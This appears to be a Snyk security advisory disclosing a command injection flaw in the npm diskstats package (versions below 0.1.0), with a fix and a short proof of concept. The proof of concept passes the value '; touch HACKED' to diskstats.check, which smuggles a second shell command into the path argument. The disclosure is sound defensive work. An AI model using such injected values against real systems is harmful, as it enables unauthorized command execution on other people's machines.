Command Injection Affecting diskstats package, versions <0.1.0
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Test your applications- Snyk ID SNYK-JS-DISKSTATS-590099
- published 24 Jul 2020
- disclosed 23 Jul 2020
- credit d3lla
How to fix?
Upgrade diskstats to version 0.1.0 or higher.
Overview
diskstats is a library that uses df to pull disk information such as free space & inode utilization on your system.
Affected versions of this package are vulnerable to Command Injection. The path parameter is used to build the command that is passed to the child_process.exec function without any check.
PoC by Alessio (d3lla)
create a directory for testing
mkdir poc cd poc/install diskstats module:
npm i diskstatscreate the following PoC JavaScript file (poc.js):
const diskstats = require('diskstats'); diskstats.check('; touch HACKED', (err, results) => {});make sure that the HACKED file does not exist:
lsexecute the poc.js file:
node poc.jsthe HACKED file is created:
ls